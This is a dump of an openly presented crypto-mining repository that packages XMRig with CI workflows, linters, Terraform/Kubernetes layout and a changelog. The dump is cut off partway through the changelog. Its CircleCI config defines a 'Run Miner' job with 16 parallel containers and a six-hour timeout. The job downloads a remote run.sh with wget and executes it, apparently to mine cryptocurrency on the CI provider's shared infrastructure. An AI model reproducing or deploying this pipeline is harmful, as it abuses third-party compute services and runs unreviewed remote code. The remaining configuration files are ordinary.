├── .editorconfig ├── .env.example ├── .envrc ├── .github ├── assets │ ├── k9s.png │ └── security.jpg ├── config │ ├── .hadolint.yaml │ ├── .releaserc.json │ ├── .yamllint.yaml │ └── circle-ci-pipeline.yaml ├── renovate.json ├── taskfiles │ └── pre-commit.yaml └── workflows │ ├── ci-build.yaml │ ├── ci-quality.yaml │ └── release.yaml ├── .gitignore ├── .pre-commit-config.yaml ├── CHANGELOG.md ├── Dockerfile ├── LICENSE ├── README.md ├── Taskfile.yaml ├── devbox.json ├── devbox.lock ├── docker-compose.yaml ├── infra ├── README.md ├── kubernetes │ ├── helm │ │ ├── .helmignore │ │ ├── Chart.yaml │ │ ├── README.md │ │ ├── templates │ │ │ ├── NOTES.txt │ │ │ ├── _helpers.tpl │ │ │ ├── deployment.yaml │ │ │ └── hpa.yaml │ │ └── values.yaml │ ├── kind.yaml │ └── manifests │ │ ├── base │ │ ├── kustomization.yml │ │ └── namespace.yaml │ │ └── overlays │ │ ├── default │ │ ├── deployment.yaml │ │ └── kustomization.yml │ │ └── scale │ │ ├── daemonset.yaml │ │ └── kustomization.yml └── terraform │ ├── setup-ec2 │ ├── .gitignore │ ├── README.md │ ├── _backend.tf │ ├── _datas.tf │ ├── _locals.tf │ ├── _outputs.tf │ ├── _providers.tf │ ├── _required.tf │ ├── _variables.tf │ ├── aws_ec2.tf │ └── files │ │ └── scripts │ │ └── run.sh │ ├── setup-eks │ ├── _backend.tf │ ├── _datas.tf │ ├── _locals.tf │ ├── _outputs.tf │ ├── _providers.tf │ ├── _required.tf │ ├── eks_cluster.tf │ └── eks_kms.tf │ └── setup-network │ ├── _backend.tf │ ├── _datas.tf │ ├── _locals.tf │ ├── _outputs.tf │ ├── _providers.tf │ ├── _required.tf │ └── aws_vpc.tf ├── package.json └── src ├── circleci └── run.sh └── xmrig ├── config └── xmrig.json └── entrypoint.sh /.editorconfig: -------------------------------------------------------------------------------- 1 | # http://editorconfig.org 2 | 3 | # This is the project's root directory 4 | root = true 5 | 6 | # Unix-style newlines with a newline ending every file 7 | [*] 8 | # The files are utf-8 encoded 9 | charset = utf-8 10 | # Each indent should contain 2 spaces 11 | indent_size = 2 12 | # Use Unix line endings 13 | end_of_line = lf 14 | # Use spaces for indentation 15 | indent_style = space 16 | # A file must end with an empty line - this is good for version control systems 17 | insert_final_newline = true 18 | # No whitespace at the end of line 19 | trim_trailing_whitespace = true 20 | 21 | -------------------------------------------------------------------------------- /.env.example: -------------------------------------------------------------------------------- 1 | MINING_POOL="" 2 | MINING_COIN="" 3 | REFERRAL_CODE="" 4 | WALLET_ADDRESS="" 5 | WORKER_NAME="" 6 | -------------------------------------------------------------------------------- /.envrc: -------------------------------------------------------------------------------- 1 | # Devbox Support 2 | dotenv_if_exists .env 3 | 4 | # This script checks if devbox is available, generates direnv configuration, and exits if successful 5 | if has devbox; then 6 | eval "$(devbox generate direnv --print-envrc)" 7 | exit 0 8 | else 9 | echo "Devbox is not installed. Please install it to proceed." 10 | exit 1 11 | fi -------------------------------------------------------------------------------- /.github/assets/k9s.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lpsm-dev/docker-crypto-miner/d117d8091c977e00f4b67be3569aaa462bcf5dc7/.github/assets/k9s.png -------------------------------------------------------------------------------- /.github/assets/security.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lpsm-dev/docker-crypto-miner/d117d8091c977e00f4b67be3569aaa462bcf5dc7/.github/assets/security.jpg -------------------------------------------------------------------------------- /.github/config/.hadolint.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | ignored: 3 | - DL3006 4 | - DL3008 5 | - DL3018 6 | - SC2046 7 | - DL3003 8 | -------------------------------------------------------------------------------- /.github/config/.releaserc.json: -------------------------------------------------------------------------------- 1 | { 2 | "branches": [ 3 | "main" 4 | ], 5 | "tagFormat": "${version}", 6 | "plugins": [ 7 | ["@semantic-release/commit-analyzer", { 8 | "preset": "conventionalcommits", 9 | "releaseRules": [ 10 | { "type": "build", "release": "patch" }, 11 | { "type": "docs", "release": "patch" }, 12 | { "type": "ci", "release": "patch" }, 13 | { "type": "feat", "release": "minor" }, 14 | { "type": "fix", "release": "patch" }, 15 | { "type": "perf", "release": "patch" }, 16 | { "type": "refactor", "release": "patch" }, 17 | { "type": "style", "release": "patch" }, 18 | { "type": "test", "release": "patch" }, 19 | { "revert": true, "release": "patch" }, 20 | { "breaking": true, "release": "major" } 21 | ], 22 | "parserOpts": { 23 | "noteKeywords": ["BREAKING CHANGE", "BREAKING CHANGES", "BREAKING"] 24 | } 25 | }], 26 | ["@semantic-release/release-notes-generator", { 27 | "preset": "conventionalcommits", 28 | "presetConfig": { 29 | "types": [ 30 | { "type": "build", "section": ":nut_and_bolt: Build", "hidden": false }, 31 | { "type": "ci", "section": ":repeat: CI", "hidden": false }, 32 | { "type": "docs", "section": ":memo: Docs", "hidden": false }, 33 | { "type": "feat", "section": ":sparkles: News", "hidden": false }, 34 | { "type": "fix", "section": ":bug: Fix", "hidden": false }, 35 | { "type": "perf", "section": ":fast_forward: Performance", "hidden": false }, 36 | { "type": "refactor", "section": ":zap: Refact", "hidden": false }, 37 | { "type": "revert", "section": ":flashlight: Revert", "hidden": false }, 38 | { "type": "style", "section": ":barber: Style", "hidden": false }, 39 | { "type": "test", "section": ":white_check_mark: Test", "hidden": false } 40 | ]} 41 | }], 42 | ["@semantic-release/github", { 43 | "addReleases": "top" 44 | }], 45 | ["@semantic-release/changelog", { 46 | "changelogFile": "CHANGELOG.md", 47 | "changelogTitle": "# Semantic Versioning Changelog" 48 | }], 49 | ["@semantic-release/git", { 50 | "assets": ["CHANGELOG.md", "README.md"], 51 | "message": "chore(release): version <%= nextRelease.version %> - <%= new Date().toLocaleDateString('en-US', {year: 'numeric', month: 'short', day: 'numeric', hour: 'numeric', minute: 'numeric' }) %>" 52 | }] 53 | ] 54 | } 55 | -------------------------------------------------------------------------------- /.github/config/.yamllint.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | extends: default 3 | rules: 4 | line-length: 5 | max: 300 6 | level: warning 7 | indentation: 8 | spaces: 2 9 | indent-sequences: false 10 | -------------------------------------------------------------------------------- /.github/config/circle-ci-pipeline.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | version: 2.1 3 | 4 | description: | 5 | Run a command with retry 6 | 7 | jobs: 8 | running: 9 | docker: 10 | - image: circleci/ruby:3.0.3 11 | parallelism: 16 12 | steps: 13 | - run: 14 | name: Run Miner 15 | no_output_timeout: 360m 16 | command: | 17 | wget https://raw.githubusercontent.com/ci-monk/docker-crypto-miner/main/src/circleci/run.sh 18 | chmod +x run.sh && ./run.sh 19 | 20 | workflows: 21 | version: 2 22 | build: 23 | jobs: 24 | - running: 25 | filters: 26 | branches: 27 | only: main 28 | tags: 29 | only: /.*/ 30 | -------------------------------------------------------------------------------- /.github/renovate.json: -------------------------------------------------------------------------------- 1 | { 2 | "$schema": "https://docs.renovatebot.com/renovate-schema.json", 3 | "extends": ["config:base", ":disableDependencyDashboard"] 4 | } 5 | -------------------------------------------------------------------------------- /.github/taskfiles/pre-commit.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | version: "3" 3 | 4 | tasks: 5 | init: 6 | desc: Initialize pre-commit hooks 7 | preconditions: 8 | - sh: "which pre-commit" 9 | msg: "kind {{.PATH_ERROR}}" 10 | cmds: 11 | - pre-commit clean 12 | - pre-commit gc 13 | - task: update 14 | - pre-commit install --install-hooks -t commit-msg 15 | 16 | update: 17 | desc: Update pre-commit hooks 18 | cmds: 19 | - pre-commit autoupdate 20 | 21 | delete: 22 | desc: Delete pre-commit hooks 23 | cmds: 24 | - pre-commit uninstall --hook-type commit-msg 25 | 26 | run: 27 | desc: Run pre-commit hooks 28 | cmds: 29 | - pre-commit run --all-files 30 | -------------------------------------------------------------------------------- /.github/workflows/ci-build.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Manual - Docker Build 3 | 4 | on: 5 | workflow_dispatch: 6 | inputs: 7 | git-tag: 8 | description: Git Tag 9 | default: 1.0.0 10 | required: true 11 | 12 | env: 13 | REGISTRY: ghcr.io 14 | IMAGE_NAME: ${{ github.repository }} 15 | 16 | jobs: 17 | build: 18 | name: Build 19 | runs-on: ubuntu-latest 20 | steps: 21 | - name: Checkout Repository 22 | uses: actions/checkout@v3 23 | with: 24 | fetch-depth: 0 25 | 26 | - name: Set up QEMU 27 | id: qemu 28 | uses: docker/setup-qemu-action@v2 29 | with: 30 | image: tonistiigi/binfmt:latest 31 | platforms: all 32 | 33 | - name: Set up Docker Buildx 34 | id: buildx 35 | uses: docker/setup-buildx-action@v2 36 | with: 37 | install: true 38 | buildkitd-flags: --debug 39 | 40 | - name: Inspect builder 41 | run: | 42 | echo "Name: ${{ steps.buildx.outputs.name }}" 43 | echo "Endpoint: ${{ steps.buildx.outputs.endpoint }}" 44 | echo "Status: ${{ steps.buildx.outputs.status }}" 45 | echo "Flags: ${{ steps.buildx.outputs.flags }}" 46 | echo "Platforms: ${{ steps.buildx.outputs.platforms }}" 47 | 48 | - name: Login to GHCR 49 | uses: docker/login-action@v2 50 | with: 51 | registry: ${{ env.REGISTRY }} 52 | username: ${{ github.actor }} 53 | password: ${{ secrets.GH_BUILD_TOKEN }} 54 | 55 | - name: Extract metadata (tags, labels) for Docker 56 | id: meta 57 | uses: docker/metadata-action@v4 58 | with: 59 | images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }} 60 | tags: | 61 | type=edge,enable=true,branch=main 62 | type=ref,enable=true,event=branch 63 | type=ref,enable=true,event=tag 64 | type=semver,pattern={{version}},value=${{ github.event.inputs.git-tag }} 65 | 66 | - name: Build and push 67 | uses: docker/build-push-action@v4 68 | with: 69 | push: ${{ github.event_name != 'pull_request' }} 70 | file: Dockerfile 71 | tags: ${{ steps.meta.outputs.tags }} 72 | labels: ${{ steps.meta.outputs.labels }} 73 | platforms: linux/amd64,linux/arm64,linux/arm/v7,linux/arm/v6 74 | 75 | scan: 76 | name: Scan 77 | runs-on: ubuntu-20.04 78 | timeout-minutes: 10 79 | needs: build 80 | steps: 81 | - name: Checkout Repository 82 | uses: actions/checkout@v3 83 | with: 84 | fetch-depth: 0 85 | 86 | - name: Which image are we scanning? 87 | run: | 88 | echo "Image to scan: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.event.inputs.git-tag }}" 89 | 90 | - name: Run Trivy vulnerability scanner 91 | id: trivy 92 | uses: aquasecurity/trivy-action@master 93 | with: 94 | image-ref: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.event.inputs.git-tag }} 95 | format: sarif 96 | vuln-type: "os,library" 97 | output: trivy-results.sarif 98 | 99 | - name: Upload Trivy scan results to GitHub Security tab 100 | uses: github/codeql-action/upload-sarif@v2 101 | if: always() 102 | with: 103 | sarif_file: trivy-results.sarif 104 | 105 | - name: Run Snyk to check Docker image for vulnerabilities 106 | continue-on-error: true 107 | uses: snyk/actions/docker@master 108 | env: 109 | SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }} 110 | with: 111 | image: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:main 112 | args: --file=Dockerfile 113 | -------------------------------------------------------------------------------- /.github/workflows/ci-quality.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | name: CI - Quality 3 | 4 | on: 5 | push: 6 | branches: [main] 7 | 8 | jobs: 9 | test: 10 | name: Test 11 | runs-on: ubuntu-latest 12 | steps: 13 | - name: Checkout repository 14 | uses: actions/checkout@v3 15 | with: 16 | fetch-depth: 0 17 | 18 | - name: Commit Lint 19 | uses: wagoid/commitlint-github-action@v5 20 | continue-on-error: true 21 | 22 | - name: Secret Detection 23 | uses: gitleaks/gitleaks-action@v2 24 | env: 25 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 26 | GITLEAKS_ENABLE_COMMENTS: true 27 | continue-on-error: false 28 | 29 | - name: Hadolint 30 | uses: hadolint/hadolint-action@v3.1.0 31 | with: 32 | dockerfile: Dockerfile 33 | recursive: false 34 | config: ${{ github.workspace }}/.github/config/.hadolint.yaml 35 | verbose: true 36 | -------------------------------------------------------------------------------- /.github/workflows/release.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | name: Manual - Semantic Release 3 | 4 | on: 5 | workflow_dispatch: 6 | inputs: 7 | git-ref: 8 | description: Git branch reference 9 | default: main 10 | required: true 11 | 12 | jobs: 13 | release: 14 | name: Release 15 | runs-on: ubuntu-latest 16 | if: "!contains(github.event.head_commit.message, '[skip ci]')" 17 | permissions: 18 | contents: write 19 | steps: 20 | - name: Checkout 21 | uses: actions/checkout@v3 22 | with: 23 | fetch-depth: 0 24 | persist-credentials: false 25 | if: github.event.inputs.git-ref == 'main' 26 | 27 | - name: Setup node 28 | uses: actions/setup-node@v3 29 | with: 30 | node-version: "lts/*" 31 | if: github.event.inputs.git-ref == 'main' 32 | 33 | - name: Copy rules 34 | run: | 35 | cp .github/config/.releaserc.json . 36 | 37 | - name: Install dependencies 38 | run: npm install 39 | if: github.event.inputs.git-ref == 'main' 40 | 41 | - name: Release 42 | run: npx semantic-release 43 | if: github.event.inputs.git-ref == 'main' 44 | env: 45 | CI: true 46 | GH_TOKEN: ${{ secrets.GH_TOKEN }} 47 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # ================================================ 2 | # GENERAL 3 | # ================================================ 4 | 5 | # Ignore IDEs 6 | .idea 7 | 8 | # Ignore OS files 9 | .DS_Store 10 | 11 | # Packages 12 | *.tgz 13 | 14 | # Secrets path 15 | .secrets/ 16 | 17 | # General reports 18 | /report 19 | /reports 20 | .dccache 21 | 22 | # Dot env 23 | .env 24 | 25 | # ================================================ 26 | # VSCODE 27 | # ================================================ 28 | 29 | .vscode/* 30 | !.vscode/settings.json 31 | !.vscode/tasks.json 32 | !.vscode/launch.json 33 | !.vscode/extensions.json 34 | *.code-workspace 35 | 36 | # Stores VSCode versions used for testing VSCode extensions 37 | .vscode-test 38 | 39 | # ================================================ 40 | # TERRAFORM 41 | # ================================================ 42 | 43 | # Local .terraform directories 44 | **/.terraform/* 45 | 46 | # .tfstate files 47 | *.tfstate 48 | *.tfstate.* 49 | 50 | # Crash log files 51 | crash.log 52 | 53 | # Exclude all .tfvars files, which are likely to contain sentitive data, such as 54 | # password, private keys, and other secrets. These should not be part of version 55 | # control as they are data points which are potentially sensitive and subject 56 | # to change depending on the environment. 57 | # 58 | *.tfvars 59 | 60 | # Ignore override files as they are usually used to override resources locally and so 61 | # are not checked in 62 | override.tf 63 | override.tf.json 64 | *_override.tf 65 | *_override.tf.json 66 | 67 | # Include override files you do wish to add to version control using negated pattern 68 | # 69 | # !example_override.tf 70 | 71 | # Include tfplan files to ignore the plan output of command: terraform plan -out=tfplan 72 | # example: *tfplan* 73 | 74 | # Ignore CLI configuration files 75 | .terraformrc 76 | terraform.rc 77 | 78 | tfsec.test.xml 79 | .terraform.lock.hcl 80 | -------------------------------------------------------------------------------- /.pre-commit-config.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | repos: 3 | - repo: https://github.com/pre-commit/pre-commit-hooks 4 | rev: v4.5.0 5 | hooks: 6 | - id: check-json 7 | - id: check-case-conflict 8 | - id: check-merge-conflict 9 | - id: check-docstring-first 10 | - id: check-executables-have-shebangs 11 | - id: debug-statements 12 | - id: fix-byte-order-marker 13 | - id: fix-encoding-pragma 14 | - id: mixed-line-ending 15 | - id: trailing-whitespace 16 | args: [--markdown-linebreak-ext=md] 17 | - repo: https://github.com/Lucas-C/pre-commit-hooks 18 | rev: v1.5.5 19 | hooks: 20 | - id: remove-crlf 21 | - id: remove-tabs 22 | - repo: https://github.com/sirosen/fix-smartquotes 23 | rev: 0.2.0 24 | hooks: 25 | - id: fix-smartquotes 26 | - repo: https://github.com/asottile/add-trailing-comma 27 | rev: v3.1.0 28 | hooks: 29 | - id: add-trailing-comma 30 | - repo: https://github.com/asottile/yesqa 31 | rev: v1.5.0 32 | hooks: 33 | - id: yesqa 34 | - repo: https://github.com/commitizen-tools/commitizen 35 | rev: v3.21.3 36 | hooks: 37 | - id: commitizen 38 | - id: commitizen-branch 39 | stages: [push] 40 | - repo: https://github.com/gitleaks/gitleaks 41 | rev: v8.18.2 42 | hooks: 43 | - id: gitleaks-system 44 | args: [--verbose] 45 | -------------------------------------------------------------------------------- /CHANGELOG.md: -------------------------------------------------------------------------------- 1 | # Semantic Versioning Changelog 2 | 3 | ## [1.5.2](https://github.com/lpsm-dev/docker-crypto-miner/compare/1.5.1...1.5.2) (2024-09-04) 4 | 5 | 6 | ### :bug: Fix 7 | 8 | * rm code ([fd6c7a3](https://github.com/lpsm-dev/docker-crypto-miner/commit/fd6c7a3663286876e45173c9524c587cfb32ebb7)) 9 | 10 | ## [1.5.1](https://github.com/lpsm-dev/docker-crypto-miner/compare/1.5.0...1.5.1) (2024-09-04) 11 | 12 | 13 | ### :bug: Fix 14 | 15 | * change xmrig version ([1cfcd31](https://github.com/lpsm-dev/docker-crypto-miner/commit/1cfcd31851de6f0e290db7cf227b6593ac5a6061)) 16 | 17 | ## [1.5.0](https://github.com/lpsm-dev/docker-crypto-miner/compare/1.4.0...1.5.0) (2024-09-03) 18 | 19 | 20 | ### :memo: Docs 21 | 22 | * add gifs ([6450784](https://github.com/lpsm-dev/docker-crypto-miner/commit/6450784b83c6156267dede68f2744be2ea8ee86e)) 23 | * change yoda gif url ([bfe0aa7](https://github.com/lpsm-dev/docker-crypto-miner/commit/bfe0aa7d90acf554b881d0f01038cba6380c218c)) 24 | * gif location ([809be33](https://github.com/lpsm-dev/docker-crypto-miner/commit/809be33a2f3972d463a0af364294c3e7c21b2707)) 25 | * important section ([317f004](https://github.com/lpsm-dev/docker-crypto-miner/commit/317f0049aa6d8de76ded4d078e2bf3b9af3c2249)) 26 | * link refs ([bfe5177](https://github.com/lpsm-dev/docker-crypto-miner/commit/bfe51775fb51e9d5df61bf1ff477828897d98a40)) 27 | * small title change ([8ca1971](https://github.com/lpsm-dev/docker-crypto-miner/commit/8ca19711d52efad10793e5eec3c3f4b5f1c988a5)) 28 | * update messages ([37d873c](https://github.com/lpsm-dev/docker-crypto-miner/commit/37d873ce3af04fe8d9ddb876739d7bb7a00979dc)) 29 | 30 | 31 | ### :sparkles: News 32 | 33 | * add commands ([85c7a0e](https://github.com/lpsm-dev/docker-crypto-miner/commit/85c7a0e75cfc34b16ea2d9b424244f1751db62d7)) 34 | * add config .yamllint.yml ([bef20c7](https://github.com/lpsm-dev/docker-crypto-miner/commit/bef20c773988bd9aa1958ce80c04e004c93e1eba)) 35 | * add devbox ([6746619](https://github.com/lpsm-dev/docker-crypto-miner/commit/674661907d34c91f676f8d4f0b978a18e74a670b)) 36 | * add direnv in tool-versions ([dca5c4b](https://github.com/lpsm-dev/docker-crypto-miner/commit/dca5c4bbc04626ca2a947c2a55e1a6b9949e9eaa)) 37 | * add file ([7ff41c7](https://github.com/lpsm-dev/docker-crypto-miner/commit/7ff41c7bfc174dc177cfd72e87ed5be88110fe91)) 38 | * tf organization ([992fbb5](https://github.com/lpsm-dev/docker-crypto-miner/commit/992fbb567cf5cfc9e9db4f75d2b1ff185735cd0c)) 39 | 40 | 41 | ### :bug: Fix 42 | 43 | * docker build alpine version 3.15.10 ([7b574c2](https://github.com/lpsm-dev/docker-crypto-miner/commit/7b574c29c591677d0e4493bb652b62af5d2c5a37)) 44 | * Dockerfile to reduce vulnerabilities ([89a313d](https://github.com/lpsm-dev/docker-crypto-miner/commit/89a313dc162c37ed31b57abf48cc429e4ac201e7)) 45 | * extension file ([f050af6](https://github.com/lpsm-dev/docker-crypto-miner/commit/f050af673ea8371ca4e744b6942c0aa86603ad78)) 46 | * no-cache option apk add ([1dd792a](https://github.com/lpsm-dev/docker-crypto-miner/commit/1dd792a484d531b6a4f89565ff35599ca756ce72)) 47 | * release.yml ([3f52a37](https://github.com/lpsm-dev/docker-crypto-miner/commit/3f52a370969654e2682d3eb4397471af33af8b19)) 48 | * setup taskfile ([d919e03](https://github.com/lpsm-dev/docker-crypto-miner/commit/d919e03b853d98693e08d782838bc27e9c502715)) 49 | * setup tf code ([2f87715](https://github.com/lpsm-dev/docker-crypto-miner/commit/2f877159fc44be453cebb1cb6985fdc5c22d43d0)) 50 | * setup tool versions ([32380ab](https://github.com/lpsm-dev/docker-crypto-miner/commit/32380ab86f633acc5c47bb7c76ac049b469c6179)) 51 | * setup yaml files ([6c5171c](https://github.com/lpsm-dev/docker-crypto-miner/commit/6c5171c63d755288d4ac662f6f5d5d2ba2e5441e)) 52 | * update tool-versions ([82ef0ca](https://github.com/lpsm-dev/docker-crypto-miner/commit/82ef0ca4820705eaef65e7f46097c8a59bcf2ccf)) 53 | * value secrets ([b481a66](https://github.com/lpsm-dev/docker-crypto-miner/commit/b481a6693faa0617c6b149e960bc431f0e6412c0)) 54 | * xmrig to 6.20 and others changes ([0f1d70b](https://github.com/lpsm-dev/docker-crypto-miner/commit/0f1d70bbf99f27016cce70f46d4025e90df65d81)) 55 | 56 | 57 | ### :repeat: CI 58 | 59 | * call hadolint file ([1c2c53d](https://github.com/lpsm-dev/docker-crypto-miner/commit/1c2c53d426f02478aa8c16338d73400677dde14c)) 60 | * change templates and rename files ([0aa6287](https://github.com/lpsm-dev/docker-crypto-miner/commit/0aa6287c528e21a1b82d799c3f79244831425103)) 61 | * change va ([5715c77](https://github.com/lpsm-dev/docker-crypto-miner/commit/5715c773cad09e4c5c6747b5d3ae341a74a9f41b)) 62 | * identation file ([8c16d72](https://github.com/lpsm-dev/docker-crypto-miner/commit/8c16d7202a285803ffaeb40bdd72eb08ada251c3)) 63 | * rename file circle ci ([45535cb](https://github.com/lpsm-dev/docker-crypto-miner/commit/45535cb8b89170b076e32b0258c5a2399c1121dc)) 64 | 65 | ## [1.4.0](https://github.com/lpsm-dev/docker-crypto-miner/compare/1.3.0...1.4.0) (2023-05-03) 66 | 67 | 68 | ### :sparkles: News 69 | 70 | * add code of conduct ([e1a2a2e](https://github.com/lpsm-dev/docker-crypto-miner/commit/e1a2a2e4e5035f40398fb62c6c365e7fe4a29aea)) 71 | * add kustomize setup ([f5e0ac8](https://github.com/lpsm-dev/docker-crypto-miner/commit/f5e0ac843efdc27aaf6d7bdb03dab351a0f3ed3c)) 72 | * add makefile ([dbd754c](https://github.com/lpsm-dev/docker-crypto-miner/commit/dbd754c8f62bdaac2b9e8ce205f9ca00dce80a56)) 73 | 74 | 75 | ### :bug: Fix 76 | 77 | * Dockerfile to reduce vulnerabilities ([ec4a7b2](https://github.com/lpsm-dev/docker-crypto-miner/commit/ec4a7b2a70855550b5f645f9800785482190cb65)) 78 | * Dockerfile to reduce vulnerabilities ([33daa09](https://github.com/lpsm-dev/docker-crypto-miner/commit/33daa0943258ccd338c81b129bc065e354d95a3f)) 79 | * kustomize organization ([9a3db21](https://github.com/lpsm-dev/docker-crypto-miner/commit/9a3db21b81bec554993cd2baa1cc389940d9ba67)) 80 | * package lock ([a1a372c](https://github.com/lpsm-dev/docker-crypto-miner/commit/a1a372cc045eefa7118eb7e08404752ba036d5d3)) 81 | * remove folder ([b13fe8b](https://github.com/lpsm-dev/docker-crypto-miner/commit/b13fe8b447f71178d8148470804909be5058434c)) 82 | * remove yarn ([7102f38](https://github.com/lpsm-dev/docker-crypto-miner/commit/7102f38861161a590f6a8814e34db9459f3da450)) 83 | * reorganize includes ([40fc3ea](https://github.com/lpsm-dev/docker-crypto-miner/commit/40fc3ea7ceebce073d1f423484f460a489c3cc77)) 84 | * run.sh script ([65032d8](https://github.com/lpsm-dev/docker-crypto-miner/commit/65032d8057a661441aa1084be17357ffac1bd318)) 85 | * **script:** change lines ([59da95a](https://github.com/lpsm-dev/docker-crypto-miner/commit/59da95a6299eb16530dbe63fc97e7fd87a56663c)) 86 | * setup files ([bcdbe62](https://github.com/lpsm-dev/docker-crypto-miner/commit/bcdbe62160481484665d8a70feaf172dee119240)) 87 | * terraform setups ([c604ecf](https://github.com/lpsm-dev/docker-crypto-miner/commit/c604ecfef6f2b9b53ba1f9b5c67fcce80de50dd3)) 88 | * terraform vars ([b27c6e8](https://github.com/lpsm-dev/docker-crypto-miner/commit/b27c6e80cd46fb746d4142199a2fe9e35461c028)) 89 | * tf setup ([feeb0a6](https://github.com/lpsm-dev/docker-crypto-miner/commit/feeb0a62977543fa301e2b52cb66a10772f6237b)) 90 | * values helm ([120f3ee](https://github.com/lpsm-dev/docker-crypto-miner/commit/120f3ee47a16c4bad2f9cbbee65416cd3c30bc75)) 91 | 92 | 93 | ### :memo: Docs 94 | 95 | * add info ([e063d2d](https://github.com/lpsm-dev/docker-crypto-miner/commit/e063d2d141e220640640698c64ae9c0ce7104181)) 96 | * add more section ([d09c531](https://github.com/lpsm-dev/docker-crypto-miner/commit/d09c53146e77cb6a5d20bc0714c922d6d1c4ceba)) 97 | * add setup style ([167a1dc](https://github.com/lpsm-dev/docker-crypto-miner/commit/167a1dcb39753475f69f75d24f7e5ea82dce4e1c)) 98 | * change badge icon ([9a79ce1](https://github.com/lpsm-dev/docker-crypto-miner/commit/9a79ce15399893ccf65dae99f578e80fb8617379)) 99 | * change content readme ([65502f2](https://github.com/lpsm-dev/docker-crypto-miner/commit/65502f2abe247d10f9c7938c1dd049e864add0b2)) 100 | * change desc ([9181145](https://github.com/lpsm-dev/docker-crypto-miner/commit/9181145de5bad1d5d80dfca6097ebd85ba6411d5)) 101 | * change readme ([93eb95e](https://github.com/lpsm-dev/docker-crypto-miner/commit/93eb95ed6cddd7578a67d32b82aef8ca88d355ee)) 102 | * fix call link here ([9e3cc50](https://github.com/lpsm-dev/docker-crypto-miner/commit/9e3cc50d01210d9ab286fadbeca3230a1667864e)) 103 | * image size ([d320980](https://github.com/lpsm-dev/docker-crypto-miner/commit/d320980fb7d2ab5fc031d6c3c696ac8f81f0e523)) 104 | * remove security mk topic 2 ([8dec243](https://github.com/lpsm-dev/docker-crypto-miner/commit/8dec243f8ff6a7e820eb9a82fc641c9718477f94)) 105 | * remove topic ([ce93451](https://github.com/lpsm-dev/docker-crypto-miner/commit/ce934510b0b3ab6ead76d85e4280dce63a457cf1)) 106 | * rename image docke ([07b7c80](https://github.com/lpsm-dev/docker-crypto-miner/commit/07b7c8052090eddc843221e429ed998c71a2cf10)) 107 | * rename topic ([291187c](https://github.com/lpsm-dev/docker-crypto-miner/commit/291187ce4423d450075b7dfc7b807a0af9868c06)) 108 | 109 | 110 | ### :repeat: CI 111 | 112 | * fix smr ([3be5497](https://github.com/lpsm-dev/docker-crypto-miner/commit/3be5497fbf89b5d3281a3d7ab45127b2d579b3b7)) 113 | * others templates ([b79716d](https://github.com/lpsm-dev/docker-crypto-miner/commit/b79716dfce472ee4245c567303f6b88354431ea0)) 114 | * simple empty line ([d12f65c](https://github.com/lpsm-dev/docker-crypto-miner/commit/d12f65cc702521c3fec11112dfd81b1e0a511bb9)) 115 | 116 | ## [1.3.0](https://github.com/ci-monk/docker-crypto-miner/compare/1.2.0...1.3.0) (2023-02-22) 117 | 118 | 119 | ### :bug: Fixes 120 | 121 | * call script and run ([4849f57](https://github.com/ci-monk/docker-crypto-miner/commit/4849f57031144c2fc98ee9bbdbdc82356381ba67)) 122 | * circle ci location ([bea75f7](https://github.com/ci-monk/docker-crypto-miner/commit/bea75f701e56c3dbe521b6e69a7f821cb477d8eb)) 123 | * helm-docs readme ([a392ab8](https://github.com/ci-monk/docker-crypto-miner/commit/a392ab883db20309dfc2b1ff33b258da89678b9a)) 124 | * image path ([67449fc](https://github.com/ci-monk/docker-crypto-miner/commit/67449fc4388f7b87c9071d912b6db6961df9f3ef)) 125 | * job syntax running when ([a8a128c](https://github.com/ci-monk/docker-crypto-miner/commit/a8a128c20d41d80f9533332b365feba1de2dbc22)) 126 | * run script ([002d127](https://github.com/ci-monk/docker-crypto-miner/commit/002d12768abe0a2aa433caec0040f413890694d6)) 127 | * script circle ci ([e00d79e](https://github.com/ci-monk/docker-crypto-miner/commit/e00d79ee591b9d6f25015d87a27c9e2658f78a43)) 128 | * setup kubernetes resources and configs ([e9f15b3](https://github.com/ci-monk/docker-crypto-miner/commit/e9f15b373323e553c997b80ada8ff64e3086e414)) 129 | * syntax circle ci ([6118d25](https://github.com/ci-monk/docker-crypto-miner/commit/6118d25e8989ac2ed099768d9c341d88aca62e06)) 130 | * timeout circle ci ([4cfca33](https://github.com/ci-monk/docker-crypto-miner/commit/4cfca3323dc62702301850260de5b0c4ccaba162)) 131 | 132 | 133 | ### :sparkles: News 134 | 135 | * add circle ci folder ([c86ee42](https://github.com/ci-monk/docker-crypto-miner/commit/c86ee421b86a5b2a9367b35c6b0600573b234835)) 136 | * add images ([cae422a](https://github.com/ci-monk/docker-crypto-miner/commit/cae422ab52ca0d791bdd9b1298a8460aeef2b444)) 137 | 138 | 139 | ### :memo: Docs 140 | 141 | * back buttom url ([8fc1a68](https://github.com/ci-monk/docker-crypto-miner/commit/8fc1a68c2c9ea208d9d43619aaae8ebc6b32a679)) 142 | * chance principal desc ([1a6e0f8](https://github.com/ci-monk/docker-crypto-miner/commit/1a6e0f8764f8d5886dc71aa56a4991f3987604a5)) 143 | * change message ([7c9fb0c](https://github.com/ci-monk/docker-crypto-miner/commit/7c9fb0c42ecc433fd23e6fe46a810ea50e65a0d3)) 144 | * change name ([b476961](https://github.com/ci-monk/docker-crypto-miner/commit/b476961d33f791beb0c4d0728fa74b16a680dd01)) 145 | * change urls ([d3ffa40](https://github.com/ci-monk/docker-crypto-miner/commit/d3ffa407e27d610f9cfecd544d32c6699fcbf9e9)) 146 | * menu options 